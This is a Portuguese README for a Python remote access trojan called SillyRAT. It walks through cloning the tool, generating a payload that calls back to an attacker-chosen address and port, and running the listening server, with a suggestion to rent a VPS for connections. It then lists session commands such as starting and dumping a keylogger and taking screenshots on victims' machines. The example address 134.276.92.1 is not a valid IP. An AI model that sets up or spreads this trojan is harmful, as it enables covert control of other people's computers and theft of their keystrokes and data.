
Um RAT baseado em Python 🐀 (Trojan de Acesso Remoto) para obter shell reverso 🖥️

Um RAT multiplataforma escrito em Python puro. O RAT aceita comandos junto com argumentos para atuar como servidor que aceita conexões ou como cliente/alvo que estabelece conexões com o servidor. O comando generate usa o módulo pyinstaller para compilar o código de payload real. Portanto, para gerar um arquivo de payload para sua respectiva plataforma, você precisa estar nessa plataforma ao gerar o arquivo. Além disso, você também pode obter o arquivo fonte diretamente.
A ferramenta foi testada no Parrot OS com Python 3.8. Siga os passos para instalação:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Você pode obter o arquivo de payload de duas maneiras:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
A versão compilada deve ser gerada na respectiva plataforma. Por exemplo, você não pode gerar um arquivo .exe no Linux. Você precisa especificamente estar no Windows. A ferramenta ainda está em teste. Portanto, todos os tipos de erros são aceitos. Certifique-se de abrir uma issue mesmo assim. Gerando a versão compilada para Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

Substitua seu endereço IP e porta nos comandos acima.
O servidor deve ser executado no Linux. Você pode comprar um VPS ou servidor em nuvem para conexões. Para registro, o servidor não armazena nenhuma sessão da última execução. Portanto, todo o progresso será perdido assim que o aplicativo do servidor for encerrado. Executando seu servidor:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Todas as conexões serão listadas sob o comando sessions:
$ sessions

Você pode conectar-se à sessão alvo com o comando connect e executar um dos comandos disponíveis:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Obtenha uma lista de comandos disponíveis:
$ help
Ajuda em um comando específico:
$ help COMMAND
Twitter: @hash3liZer
Discord: TheFlash2k#0407